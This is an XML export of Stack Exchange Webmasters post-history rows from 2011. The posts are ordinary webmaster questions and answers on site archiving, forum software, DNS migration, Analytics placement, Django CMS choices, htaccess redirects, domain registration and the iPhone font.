  <row Id="34235" PostHistoryTypeId="2" PostId="14589" RevisionGUID="f614a2f6-aee2-48d1-9aed-3e39e179d0c4" CreationDate="2011-05-30T15:23:55.433" UserId="3328" Text="[HTTrack Website Copier - Offline Browser](http://www.httrack.com/) is a freeware windows app. It makes it easy to pull down a copy of your website for archiving.  You can set some pretty granular options to specify for example only specific filetypes, filesizes or site subdirectory depth.  The default options will pull down everything.&#xD;&#xA;&#xD;&#xA;![HTTrack Screenshot][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/WSisV.jpg" />
  <row Id="34236" PostHistoryTypeId="17" PostId="14590" RevisionGUID="2adb351c-b736-47b6-9f80-2ab373fe00af" CreationDate="2011-05-30T15:32:46.207" UserId="-1" Comment="from http://stackoverflow.com/questions/6171560/alternative-to-vbulletin" Text="" />
  <row Id="34237" PostHistoryTypeId="2" PostId="14590" RevisionGUID="4af8daa6-f084-45bd-b8ed-0dc4c608e162" CreationDate="2011-05-30T01:30:54.270" UserId="6437" Text="I'm currently using vBulletin along with a bunch of plugins like vBSEO, shoutbox and others for a sports discussion site.  I just don't have the time to keep up with the upgrading of the vBulletin software (and then all the plugins).  And I'm not crazy about vBulletin in general.  Last I checked there was no good single sign on mechanism to integrate it with other systems and the social aspects of the site, of which discussions are really all about, seem lacking.&#xD;&#xA;&#xD;&#xA;Are there good alternatives which are easier to manage (ideally hosted systems), easier to integrate and more social?  I'm more than happy to pay, but this community is only about 4,000 strong... so anything above a couple hundred $$ per month will have to be pretty spectacular." />
  <row Id="34238" PostHistoryTypeId="1" PostId="14590" RevisionGUID="4af8daa6-f084-45bd-b8ed-0dc4c608e162" CreationDate="2011-05-30T01:30:54.270" UserId="6437" Text="Alternative to vBulletin" />
  <row Id="34239" PostHistoryTypeId="3" PostId="14590" RevisionGUID="4af8daa6-f084-45bd-b8ed-0dc4c608e162" CreationDate="2011-05-30T01:30:54.270" UserId="6437" Text="&lt;forum&gt;&lt;community&gt;&lt;vbulletin&gt;" />
  <row Id="34240" PostHistoryTypeId="2" PostId="14591" RevisionGUID="87421522-2da0-44d0-afb2-a5a96a3b1471" CreationDate="2011-05-30T15:37:35.637" UserId="7912" Text="Yahoo has a tablet specific version of their website at www.yahoo.com/tablet while their mobile site is at m.yahoo.com&#xD;&#xA;&#xD;&#xA;Gmail has a tablet version of the app, but it has the exact same URL as the iPhone version of the site and it's auto-detected in the first place. On both the iPhone and iPad going to www.gmail.com or mail.google.com forwards to https://mail.google.com/mail/mu/#tl/Inbox&#xD;&#xA;&#xD;&#xA;YouTube also has a tablet version of the site and it's still at m.YouTube.com&#xD;&#xA;&#xD;&#xA;BBC has a tablet version of their site as well, but it's auto-detected and still displays www.bbc.co.uk as the URL and has the text &quot;Mobile&quot; next to their logo.&#xD;&#xA;&#xD;&#xA;I think it's pretty open. You can not use a subdomain at all and just have it all auto-detected, use the same subdomain as mobile or use tablet.[domain].com and then in the future if t, tab or something else became standard, you could forward the tablet subdomain to the t, tab, etc." />
  <row Id="34241" PostHistoryTypeId="2" PostId="14592" RevisionGUID="779d2fbc-9a28-44b0-bca8-70336ba32e5b" CreationDate="2011-05-30T15:37:46.110" UserId="221" Text="Archive.org has a paid-for service called [Archive-It][1] that allows you to harvest your (or any) site as often as you like. &#xD;&#xA;&#xD;&#xA;[Hanzo Archives][2] offer a similar service, target at the corporate sector and legal compliance for data retention.&#xD;&#xA;&#xD;&#xA;Data from both services should be usable in a court of law to prove what was on a site at a given point in time. Given Hanzo's focus on the corporate sector (the Internet Archive focuses more on the research community), they are probably a better choice for you.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.archive-it.org/&#xD;&#xA;  [2]: http://www.hanzoarchives.com/" />
  <row Id="34242" PostHistoryTypeId="2" PostId="14593" RevisionGUID="7a374886-4157-4b39-b3f5-7bbf9c8417c7" CreationDate="2011-05-30T16:10:17.123" UserId="7912" Text="Ollybee's step 4 is important to take note of. Some ISPs take a long time to update their cached DNS (i.e. DAYS!), even if you have set the Time To Live (TTL) really low for the migration. &#xD;&#xA;&#xD;&#xA;If you can and don't mind leaving the old server up for a few days with it connecting REMOTELY to the new server's database, then that's the best way to go.&#xD;&#xA;&#xD;&#xA;Another option is to set up a subdomain like new.[domain].com and point it to the new server. Add a robots.txt for just this temporary subdomain  that won't allow a search engine to index it causing you duplicate content issues. Let the users know about this subdomain by putting up a notice that says exactly when it's going to happen on your website (depending how often people visit the site, maybe a week ahead of time) or email out to the newsletter. In the notice be clear that if any of them have trouble visiting [domain].com right after the migration, they should try new.[domain].com, but that's it's only temporary. After the migration, take down the old server if you have to or better yet, put up a notice that tells people to visit new.[domain].com while the transition is happening. After a couple days or so, stop showing the website at new.[domain].com and put up a notice telling people the transition is over and not to use new.[domain].com. Don't forward it or people will still think they can visit your website at new.[domain].com.&#xD;&#xA;&#xD;&#xA;Reading over that, it is pretty complicated, but I have had to deal with this situation before because I was unable to have the old server remotely connect to the new database." />
  <row Id="34243" PostHistoryTypeId="6" PostId="14572" RevisionGUID="1863205f-7248-4dd0-bcab-73d9715a52aa" CreationDate="2011-05-30T17:11:31.003" UserId="4502" Comment="edited tags" Text="&lt;drupal&gt;&lt;comments&gt;&lt;administration&gt;&lt;notification&gt;&lt;drupal-6&gt;" />
  <row Id="34244" PostHistoryTypeId="17" PostId="14594" RevisionGUID="02d4ccc8-8267-42db-a010-e6d0ed36a171" CreationDate="2011-05-30T18:04:10.103" UserId="-1" Comment="from http://stackoverflow.com/questions/6160356/how-to-use-google-analytics-code-and-adsense-code" Text="" />
  <row Id="34245" PostHistoryTypeId="17" PostId="14595" RevisionGUID="01db18fe-71d6-4062-8ec5-95f54d2c8deb" CreationDate="2011-05-30T18:04:10.103" UserId="-1" Comment="from http://stackoverflow.com/questions/6160356/how-to-use-google-analytics-code-and-adsense-code" Text="" />
  <row Id="34247" PostHistoryTypeId="2" PostId="14595" RevisionGUID="4bb1121c-94e0-4d96-b901-b36792a7b641" CreationDate="2011-05-28T07:47:31.077" UserDisplayName="stefgosselin" Text="This is always better off at the bottom of the page, this way you are sure it does not affect your page loading time." />
  <row Id="34249" PostHistoryTypeId="2" PostId="14594" RevisionGUID="1645700c-0156-4a4f-8346-bb21cf945029" CreationDate="2011-05-28T07:40:02.877" UserId="23" Text="When I setup a Gogole Analytics code it says me put it within head tags. But when I want to link it with my AdSense account it says &quot;Be sure to leave the Google Analytics tracking code at the bottom of your pages.&quot;&#xD;&#xA;&#xD;&#xA;Also it says &quot;Paste this code [Google Analytics and Adsense integration code] at the top of any webpage in this domain that contains AdSense ads.&quot; Where? After &lt;body&gt; or after &lt;head&gt; after Analytics code?" />
  <row Id="34250" PostHistoryTypeId="1" PostId="14594" RevisionGUID="1645700c-0156-4a4f-8346-bb21cf945029" CreationDate="2011-05-28T07:40:02.877" UserId="23" Text="How to use Google Analytics code and Adsense code?" />
  <row Id="34251" PostHistoryTypeId="3" PostId="14594" RevisionGUID="1645700c-0156-4a4f-8346-bb21cf945029" CreationDate="2011-05-28T07:40:02.877" UserId="23" Text="&lt;google-analytics&gt;&lt;google-adsense&gt;" />
  <row Id="34252" PostHistoryTypeId="25" PostId="14586" RevisionGUID="f74defee-f72a-4389-bd2f-9194efdbc19e" CreationDate="2011-05-30T18:13:19.210" Comment="http://twitter.com/#!/StackWebmasters/status/75263532219904000" />
  <row Id="34255" PostHistoryTypeId="17" PostId="14597" RevisionGUID="f3067256-ac41-46cb-a406-69010d145b97" CreationDate="2011-05-30T19:27:09.887" UserId="-1" Comment="from http://stackoverflow.com/questions/6167135/which-django-based-cms-is-good-for-ecommerce-sites" Text="" />
  <row Id="34256" PostHistoryTypeId="17" PostId="14598" RevisionGUID="b4ecda9b-ec72-4e60-affd-44ff8f3ec2d8" CreationDate="2011-05-30T19:27:09.887" UserId="-1" Comment="from http://stackoverflow.com/questions/6167135/which-django-based-cms-is-good-for-ecommerce-sites" Text="" />
  <row Id="34257" PostHistoryTypeId="2" PostId="14598" RevisionGUID="213e1bf1-1c75-4990-8160-5e7184bd11ed" CreationDate="2011-05-29T11:06:55.110" UserDisplayName="arie" Text="You will hardly a find a single package that does all the things you need.&#xD;&#xA;&#xD;&#xA;Django's nature as a framework gives you more flexibility and makes customizations really easy but on the flipside you'll have to do some work to integrate various components and apps.&#xD;&#xA;&#xD;&#xA;Looking at the [relevant grid on Django Packages][1] there are several CMS out there.&#xD;&#xA;Popular choices are [Django CMS][2], [FeinCMS][3] and [Mezzanine][4] to name a few.&#xD;&#xA;&#xD;&#xA;Here you can read a [comparison][5], though in the end you should check them yourself.&#xD;&#xA;Looking at the [extensions for Django CMS][6] you'll find a gallery plugin and the docs show you how assign [user permissions][7] to pages.&#xD;&#xA;&#xD;&#xA;Looking at your requirements the other core component seems to be an E-Commerce solution.&#xD;&#xA;&#xD;&#xA;Again [Django Packages][8] offers a few options, e.g. LFS and Satchmo.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://djangopackages.com/grids/g/cms/&#xD;&#xA;  [2]: https://www.django-cms.org/&#xD;&#xA;  [3]: http://www.feinheit.ch/media/labs/feincms/&#xD;&#xA;  [4]: http://mezzanine.jupo.org/&#xD;&#xA;  [5]: http://mixedcase.nl/articles/2011/01/28/django-cms-vs-feincms-vs-mezzanine/&#xD;&#xA;  [6]: https://www.django-cms.org/en/extensions/&#xD;&#xA;  [7]: http://readthedocs.org/docs/django-cms/en/2.1.3/getting_started/configuration.html#cms-permission&#xD;&#xA;  [8]: http://djangopackages.com/grids/g/ecommerce/" />
  <row Id="34258" PostHistoryTypeId="2" PostId="14597" RevisionGUID="5c30307f-5b39-462e-ae1b-f4cb87b459b2" CreationDate="2011-05-29T10:15:48.960" UserDisplayName="bidu" Text="I have using joomla for long time and mainly deal with ecommerce sites with shopping cart . Now i am learning python  django and realy like the python.&#xD;&#xA;But i am used to joomla easiness to use its extensions for everything.&#xD;&#xA;&#xD;&#xA;One questions is coming to my mind that am i doing right thing to shift from joomla to python. It seems to me that i am looking for something good when i already have it.But there are many thing which i can't do in joomla like syadmin and data mining.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I am learning django but i think it will be time consuming to build from scratch with django&#xD;&#xA;&#xD;&#xA;I want CMS in Django in which i can use ready made&#xD;&#xA;&#xD;&#xA;1. Users Logins , registration members Area&#xD;&#xA;2. SHopping cart , Add/remove products and payment via paypal&#xD;&#xA;3. Gallery for photos&#xD;&#xA;4. Users can create static pages like privacy , disclaimer&#xD;&#xA;5. Also in case i need to create custom thing i can write custom code as well&#xD;&#xA;&#xD;&#xA;Is there something like that?" />
  <row Id="34259" PostHistoryTypeId="1" PostId="14597" RevisionGUID="5c30307f-5b39-462e-ae1b-f4cb87b459b2" CreationDate="2011-05-29T10:15:48.960" UserDisplayName="bidu" Text="Which django based CMS is good for ecommerce sites" />
  <row Id="34260" PostHistoryTypeId="3" PostId="14597" RevisionGUID="5c30307f-5b39-462e-ae1b-f4cb87b459b2" CreationDate="2011-05-29T10:15:48.960" UserDisplayName="bidu" Text="&lt;python&gt;&lt;django&gt;&lt;cms&gt;" />
  <row Id="34261" PostHistoryTypeId="6" PostId="14597" RevisionGUID="d8ba44c7-f9e5-4270-b85d-1649b9b4c5a2" CreationDate="2011-05-30T20:59:13.637" UserId="1253" Comment="modified tags" Text="&lt;cms&gt;&lt;looking-for-a-script&gt;&lt;django&gt;&lt;python&gt;" />
  <row Id="34262" PostHistoryTypeId="25" PostId="14546" RevisionGUID="f00a7c55-2ad9-4c24-a5e9-82381b39a58b" CreationDate="2011-05-30T21:13:20.580" Comment="http://twitter.com/#!/StackWebmasters/status/75308835811766272" />
  <row Id="34263" PostHistoryTypeId="17" PostId="14599" RevisionGUID="7f85a392-abd3-412f-97e0-3a639ead5448" CreationDate="2011-05-30T21:45:08.370" UserId="-1" Comment="from http://serverfault.com/questions/218454/redirect-before-rewrite" Text="" />
  <row Id="34264" PostHistoryTypeId="17" PostId="14600" RevisionGUID="4752d952-a56f-4be2-b0ec-f32cb34799ef" CreationDate="2011-05-30T21:45:08.370" UserId="-1" Comment="from http://serverfault.com/questions/218454/redirect-before-rewrite" Text="" />
  <row Id="34265" PostHistoryTypeId="2" PostId="14600" RevisionGUID="de9f6e09-0737-48a7-82ca-e8110a9c8bce" CreationDate="2011-01-04T15:34:10.133" UserId="4613" Text="`RewriteRule ^home(.*) http://url.com/ [R=301,L]`" />
  <row Id="34266" PostHistoryTypeId="2" PostId="14599" RevisionGUID="8608c561-e315-45af-8297-e52b863d58e8" CreationDate="2011-01-04T06:25:02.973" UserId="4613" Text="Had an issue where I need to redirect old URLs, but not disable the mod_rewrite for page structure.&#xD;&#xA;&#xD;&#xA;    redirect 301 /home.html http://www.url.com/&#xD;&#xA;&#xD;&#xA;It needs to live on the Symphony 2.0 .htaccess file&#xD;&#xA;&#xD;&#xA;    ### Symphony 2.0.x ###&#xD;&#xA;    Options +FollowSymlinks -Indexes&#xD;&#xA;    &#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    &#xD;&#xA;     RewriteEngine on&#xD;&#xA;     &#xD;&#xA;     RewriteBase /&#xD;&#xA;    &#xD;&#xA;     ### DO NOT APPLY RULES WHEN REQUESTING &quot;favicon.ico&quot;&#xD;&#xA;     RewriteCond %{REQUEST_FILENAME} favicon.ico [NC]&#xD;&#xA;     RewriteRule .* - [S=14]&#xD;&#xA;    &#xD;&#xA;     ### IMAGE RULES &#xD;&#xA;     RewriteRule ^image\/(.+\.(jpg|gif|jpeg|png|bmp))$ extensions/jit_image_manipulation/lib/image.php?param=$1 [L,NC]&#xD;&#xA;    &#xD;&#xA;     ### CHECK FOR TRAILING SLASH - Will ignore files&#xD;&#xA;     RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;     RewriteCond %{REQUEST_URI} !/$&#xD;&#xA;     RewriteCond %{REQUEST_URI} !(.*)/$&#xD;&#xA;     RewriteRule ^(.*)$ $1/ [L,R=301]&#xD;&#xA;    &#xD;&#xA;     ### ADMIN REWRITE&#xD;&#xA;     RewriteRule ^symphony\/?$ index.php?mode=administration&amp;%{QUERY_STRING} [NC,L]&#xD;&#xA;    &#xD;&#xA;     RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;     RewriteCond %{REQUEST_FILENAME} !-f &#xD;&#xA;     RewriteRule ^symphony(\/(.*\/?))?$ index.php?symphony-page=$1&amp;mode=administration&amp;%{QUERY_STRING} [NC,L]&#xD;&#xA;    &#xD;&#xA;     ### FRONTEND REWRITE - Will ignore files and folders&#xD;&#xA;     RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;     RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;     RewriteRule ^(.*\/?)$ index.php?symphony-page=$1&amp;%{QUERY_STRING} [L]&#xD;&#xA;     &#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    ######" />
  <row Id="34267" PostHistoryTypeId="1" PostId="14599" RevisionGUID="8608c561-e315-45af-8297-e52b863d58e8" CreationDate="2011-01-04T06:25:02.973" UserId="4613" Text="Redirect before rewrite" />
  <row Id="34268" PostHistoryTypeId="3" PostId="14599" RevisionGUID="8608c561-e315-45af-8297-e52b863d58e8" CreationDate="2011-01-04T06:25:02.973" UserId="4613" Text="&lt;htaccess&gt;" />
  <row Id="34269" PostHistoryTypeId="2" PostId="14601" RevisionGUID="2fb9fa5c-c6fc-4460-b4d1-f4f56bab3b14" CreationDate="2011-05-30T23:20:30.853" UserId="7923" Text="My company, [Ninja Post][1], is a hosted forum solution that integrates with your URL (e.g., &quot;forum.yoursite.com&quot;).  Ninja Post uses OpenId (Google/Yahoo), oAuth (Twitter), and Facebook Connect for user registrations.  In addition, threads update in real time, like a chat so there's no need to constantly refresh the page to check for new posts.  Contact me directly at mike@ninjapost.com with any questions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ninjapost.com" />
  <row Id="34270" PostHistoryTypeId="25" PostId="14597" RevisionGUID="51349ddc-66d4-4a5e-8771-78b31ff2a1ae" CreationDate="2011-05-31T00:13:22.490" Comment="http://twitter.com/#!/StackWebmasters/status/75354139294572545" />
  <row Id="34271" PostHistoryTypeId="2" PostId="14602" RevisionGUID="76e9f252-8aec-400a-9e5f-1021fa6c83ae" CreationDate="2011-05-31T00:24:13.117" UserId="7369" Text="What are the pros and cons for long-term domain registrations, such as 5 or 10 years?&#xD;&#xA;&#xD;&#xA;One benefit I can think of is locking-in the domain price. I can't really think of any cons (beyond just not using the domain), especially since transferring between registrars is so easy." />
  <row Id="34272" PostHistoryTypeId="1" PostId="14602" RevisionGUID="76e9f252-8aec-400a-9e5f-1021fa6c83ae" CreationDate="2011-05-31T00:24:13.117" UserId="7369" Text="Pros and cons of long-term domain registrations" />
  <row Id="34273" PostHistoryTypeId="3" PostId="14602" RevisionGUID="76e9f252-8aec-400a-9e5f-1021fa6c83ae" CreationDate="2011-05-31T00:24:13.117" UserId="7369" Text="&lt;domain-registration&gt;" />
  <row Id="34274" PostHistoryTypeId="2" PostId="14603" RevisionGUID="c178746a-17a9-4225-9745-cbe19c000b6c" CreationDate="2011-05-31T00:54:48.663" UserId="1253" Text="Pros&#xD;&#xA;&#xD;&#xA;- lock in price&#xD;&#xA;- don't have to worry about renewing&#xD;&#xA;- some believe it has a positive effect on SEO (it's tiny at best)&#xD;&#xA;- don't have issues transferring to a new registrar due to limitations of transferring near the domain's expiration date&#xD;&#xA;&#xD;&#xA;Cons&#xD;&#xA;&#xD;&#xA;- higher up front cost/expendature&#xD;&#xA;- if you want to transfer to a new registrar you usually have to pay for another year that you don't need" />
  <row Id="34275" PostHistoryTypeId="17" PostId="14604" RevisionGUID="5ad086e6-4b7d-4914-be07-18f9871526c4" CreationDate="2011-05-31T00:56:30.663" UserId="-1" Comment="from http://stackoverflow.com/questions/6181193/qa-system-for-website-in-php" Text="" />
  <row Id="34276" PostHistoryTypeId="17" PostId="14605" RevisionGUID="4bb66731-f9bd-4523-ba92-fa501c194a14" CreationDate="2011-05-31T00:56:30.663" UserId="-1" Comment="from http://stackoverflow.com/questions/6181193/qa-system-for-website-in-php" Text="" />
  <row Id="34277" PostHistoryTypeId="2" PostId="14605" RevisionGUID="27b25860-a184-4645-86b9-41ad71d38750" CreationDate="2011-05-31T00:55:30.280" UserDisplayName="Chromium" Text="Check out [Question2Answer][1]. It runs on PHP and MySQL- I haven't personally tried it, but it looks like it might do what you want. It's also open source, under a GNU GPL license.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.question2answer.org/" />
  <row Id="34278" PostHistoryTypeId="2" PostId="14604" RevisionGUID="142b7ede-1cdb-4483-924d-f9b883875063" CreationDate="2011-05-30T22:18:19.203" UserDisplayName="Argoron" Text="I'm looking for a good, open source (if possible) q&amp;a (questions &amp; answers) module for websites in php, with a rich functional scope and highly configurable (interface, implementation languages ...).&#xD;&#xA;I'd like to know what you can recommend. &#xD;&#xA;&#xD;&#xA;Thanks in advance" />
  <row Id="34279" PostHistoryTypeId="1" PostId="14604" RevisionGUID="142b7ede-1cdb-4483-924d-f9b883875063" CreationDate="2011-05-30T22:18:19.203" UserDisplayName="Argoron" Text="Q&amp;A system for website in php" />
  <row Id="34280" PostHistoryTypeId="3" PostId="14604" RevisionGUID="142b7ede-1cdb-4483-924d-f9b883875063" CreationDate="2011-05-30T22:18:19.203" UserDisplayName="Argoron" Text="&lt;php&gt;&lt;qa&gt;" />
  <row Id="34281" PostHistoryTypeId="5" PostId="14541" RevisionGUID="13125e91-6ea5-4d97-8312-ad2694b8944b" CreationDate="2011-05-31T00:58:30.357" UserId="4461" Comment="spelling, grammar, verbosity, redundancy etc" Text="Say I have a website/blog about 'tech news' at my URL `mattynews.com`, and my website is dedicated for 'tech news' with friendly SEO, and someone else has a site with the URL  `technews.com` - will they get better results in Google? &#xD;&#xA;&#xD;&#xA;My point is - if my site is dedicated to my work, and someone else has my subject in their URL, it gets better results, even though my site is 10x better as in related results in the inner site.&#xD;&#xA;&#xD;&#xA;Is that normal? Or is it something I have to deal with/overcome? " />
  <row Id="34282" PostHistoryTypeId="4" PostId="14541" RevisionGUID="13125e91-6ea5-4d97-8312-ad2694b8944b" CreationDate="2011-05-31T00:58:30.357" UserId="4461" Comment="spelling, grammar, verbosity, redundancy etc" Text="Does the main URL of the website matter most in Google?" />
  <row Id="34283" PostHistoryTypeId="24" PostId="14541" RevisionGUID="13125e91-6ea5-4d97-8312-ad2694b8944b" CreationDate="2011-05-31T00:58:30.357" Comment="Proposed by 4461 approved by 1253 edit id of 365" />
  <row Id="34284" PostHistoryTypeId="5" PostId="14601" RevisionGUID="f6cbc3e7-81b2-4c64-82c9-08b144740caa" CreationDate="2011-05-31T01:00:37.573" UserId="1253" Comment="removed solicitation" Text="My company, [Ninja Post][1], is a hosted forum solution that integrates with your URL (e.g., &quot;forum.yoursite.com&quot;).  Ninja Post uses OpenId (Google/Yahoo), oAuth (Twitter), and Facebook Connect for user registrations.  In addition, threads update in real time, like a chat so there's no need to constantly refresh the page to check for new posts.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ninjapost.com" />
  <row Id="34285" PostHistoryTypeId="6" PostId="14604" RevisionGUID="2cca8723-b557-4ccf-af11-03aee98fe9fb" CreationDate="2011-05-31T01:04:21.177" UserId="1253" Comment="modified tags" Text="&lt;php&gt;&lt;looking-for-a-script&gt;" />
  <row Id="34286" PostHistoryTypeId="2" PostId="14606" RevisionGUID="67ac342b-bf10-458b-b82e-ce7fbd848719" CreationDate="2011-05-31T01:38:15.200" UserId="3303" Text="I would recommend [Vanilla Forums][1].  Simple, easy to use and not all the bloat that comes with vBulletin and it's open source.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://vanillaforums.org/" />
  <row Id="34287" PostHistoryTypeId="2" PostId="14607" RevisionGUID="54986ff7-dded-40bc-81da-07c5baaf24f7" CreationDate="2011-05-31T01:55:38.107" UserId="4306" Text="Here's one possible scenario.&#xD;&#xA;&#xD;&#xA;* Google Webmaster Tools tracks searches and clicks TO your domain&#xD;&#xA;* Google Analytics recors page views and keywords ON your domain&#xD;&#xA;* So between leaving Google and reaching your pages with the GA tag, the keywords are getting stripped&#xD;&#xA;&#xD;&#xA;Things to check:&#xD;&#xA;&#xD;&#xA;* Analytics is correctly configured on **every** page - make sure the tracking tag in use on the homepage is that same as the internal pages&#xD;&#xA;* You might have Javascript redirects that are stripping out the referrer and keyword information - browse your site with JS disabled and see if everything behaves properly&#xD;&#xA;* You might have soem server-side redirects that strip the referrer information - use a tool like redbot.org to see what headers are being returned when you request your site" />
  <row Id="34288" PostHistoryTypeId="25" PostId="14602" RevisionGUID="86f81e7f-1dec-426b-9ae3-0f6d210bdff1" CreationDate="2011-05-31T03:13:22.403" Comment="http://twitter.com/#!/StackWebmasters/status/75399440529240064" />
  <row Id="34289" PostHistoryTypeId="5" PostId="14590" RevisionGUID="92988459-4cc5-4522-b755-8d71ccf2c408" CreationDate="2011-05-31T03:57:47.007" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Alternative to vBulletin](http://webmasters.stackexchange.com/questions/14570/alternative-to-vbulletin)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I'm currently using vBulletin along with a bunch of plugins like vBSEO, shoutbox and others for a sports discussion site.  I just don't have the time to keep up with the upgrading of the vBulletin software (and then all the plugins).  And I'm not crazy about vBulletin in general.  Last I checked there was no good single sign on mechanism to integrate it with other systems and the social aspects of the site, of which discussions are really all about, seem lacking.&#xD;&#xA;&#xD;&#xA;Are there good alternatives which are easier to manage (ideally hosted systems), easier to integrate and more social?  I'm more than happy to pay, but this community is only about 4,000 strong... so anything above a couple hundred $$ per month will have to be pretty spectacular." />
  <row Id="34290" PostHistoryTypeId="10" PostId="14590" RevisionGUID="47065bb7-628f-4c56-a843-1c74af049ae9" CreationDate="2011-05-31T03:57:46.083" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="34291" PostHistoryTypeId="2" PostId="14608" RevisionGUID="d617e986-f19f-446d-ac8a-27d45dda59a1" CreationDate="2011-05-31T05:54:15.383" UserId="5665" Text="Keywords in the domain are just one factor of many and I would say the page title and full URL are just as important, but still not the complete puzzle. Look at your question's URL, for example, and the keywords within. I know I personally get plenty of first-page StackOverflow results when I'm looking for answers to programming problems and there are no relevant keywords in the top-level or sub-domain.&#xD;&#xA;&#xD;&#xA;In the long run, I would say just be honest with your content and try to make it as useful, relevant, up-to-date, and easy to find as possible. Make it easy to share and comment via Facebook integration (and the like), utilize pingbacks, SEO-friendly URLs, important keywords for categories and tags, try to find networks that will import your RSS feeds and build up your backlinks.&#xD;&#xA;&#xD;&#xA;You can even frequent other tech news sites and write constructive comments and replies to articles to get your name out there more. In a lot of cases they allow you to post your domain or if you have a different, constructive viewpoint or good rebuttal article, link back to it directly.&#xD;&#xA;&#xD;&#xA;The quality of information and the more Google sees your site being listed elsewhere on the web, especially from sites already held in high regard, the higher you will rank despite the addition or lack of keywords in your domain on its own." />
  <row Id="34292" PostHistoryTypeId="25" PostId="14604" RevisionGUID="ad8f9f86-1fbd-41e8-838f-d7cf5b6efb8b" CreationDate="2011-05-31T06:13:23.620" Comment="http://twitter.com/#!/StackWebmasters/status/75444744137879552" />
  <row Id="34293" PostHistoryTypeId="5" PostId="14560" RevisionGUID="94434b7e-f15b-4aa7-a65e-428150e3c1ad" CreationDate="2011-05-31T06:43:26.203" UserId="1643" Comment="added 4 characters in body" Text="I want to configure my meta description to have the initial bit of my post. On my template I just have `&lt;data:post.body/&gt;` and there is nowhere where I can get only the first bit.&#xD;&#xA;&#xD;&#xA;Is there a way to break down the `&lt;data:post.body/&gt;` to use in the meta description?&#xD;&#xA;&#xD;&#xA;maybe via javascript?" />
  <row Id="34294" PostHistoryTypeId="2" PostId="14609" RevisionGUID="a0320467-98e7-4e8f-aced-c8e1ff89f8fd" CreationDate="2011-05-31T07:03:35.910" UserId="7896" Text="I like the font, it is very clear to read it even when the text is very small and it looks very neat." />
  <row Id="34295" PostHistoryTypeId="1" PostId="14609" RevisionGUID="a0320467-98e7-4e8f-aced-c8e1ff89f8fd" CreationDate="2011-05-31T07:03:35.910" UserId="7896" Text="What font does Apple use on iPhone ?" />
  <row Id="34296" PostHistoryTypeId="3" PostId="14609" RevisionGUID="a0320467-98e7-4e8f-aced-c8e1ff89f8fd" CreationDate="2011-05-31T07:03:35.910" UserId="7896" Text="&lt;fonts&gt;" />
  <row Id="34297" PostHistoryTypeId="2" PostId="14610" RevisionGUID="86ac0ae4-d15a-40c3-ad50-0c4b1c67c3ed" CreationDate="2011-05-31T07:05:46.223" UserId="1643" Text="&gt; The most recent iPods (and the iPhone)&#xD;&#xA;&gt; use Helvetica as their UI font.&#xD;&#xA;&#xD;&#xA;http://en.wikipedia.org/wiki/Typography_of_Apple_Inc." />
  <row Id="34298" PostHistoryTypeId="2" PostId="14611" RevisionGUID="6f31d3a6-48d0-440d-a4f1-2b0aa8ea88ef" CreationDate="2011-05-31T07:52:43.433" UserId="6808" Text="Are there any simple tool to use for finding unclosed tags? Like a missing &lt;/TD&gt;, wrong spelled &lt;/iv&gt;, /div&gt; and so on? &#xD;&#xA;&#xD;&#xA;W3C distributing some offline installations but I'm not using Apache and any kind of GNU systems for my development. " />
  <row Id="34299" PostHistoryTypeId="1" PostId="14611" RevisionGUID="6f31d3a6-48d0-440d-a4f1-2b0aa8ea88ef" CreationDate="2011-05-31T07:52:43.433" UserId="6808" Text="Validate DOM tree / find unclosed tags offline" />
  <row Id="34300" PostHistoryTypeId="3" PostId="14611" RevisionGUID="6f31d3a6-48d0-440d-a4f1-2b0aa8ea88ef" CreationDate="2011-05-31T07:52:43.433" UserId="6808" Text="&lt;html&gt;&lt;web-development&gt;" />
  <row Id="34301" PostHistoryTypeId="2" PostId="14612" RevisionGUID="feb2cb2b-9e1c-44b4-a5eb-19711e22901f" CreationDate="2011-05-31T08:49:28.420" UserId="7198" Text="The iPhone 4 uses **Helvetica Neue,** a refined version of Helvetica [[source](http://daringfireball.net/2010/06/4)].&#xD;&#xA;&#xD;&#xA;Earlier iPhones use **Helvetica.**&#xD;&#xA;&#xD;&#xA;Apple makes use of other typefaces too. **Marker Felt** was adopted for the iOS Notes app, although the latest version now uses a custom Apple typeface called '[**Noteworthy**](http://www.macrumors.com/2011/05/17/apple-trademarks-name-for-a-new-app-called-noteworthy/)'." />
  <row Id="34302" PostHistoryTypeId="2" PostId="14613" RevisionGUID="f0dd87d1-28f1-46e2-bf77-ed11a877e4d8" CreationDate="2011-05-31T08:50:47.957" UserId="6260" Text="All of the forum software I've seen divides postings and their comments up into pages (where each &quot;page&quot; is quite a few pages on the screen and need scrolling).&#xD;&#xA;&#xD;&#xA;I assume there is a good reason for doing this, but forcing the user to click page numbers to go through the posts seems bad UI design when there is a perfectly good scrolling mechanism that's being used anyway. And it makes it harder to search for text within a page as you have to repeat the search on each page. To *me* it seems easier and better UI design to have one long page than several short ones for this...&#xD;&#xA;&#xD;&#xA;I'm working on a forum like section for a site with followup posts and although my first thought was to implement paging, I'm finding it difficult to understand why I'd want to. But the fact that everyone else does it makes me think I'm missing something.&#xD;&#xA;&#xD;&#xA;Is it just a subjective preference or are there any good reasons why I should do this? Or evidence that my personal preference is not a good one?" />
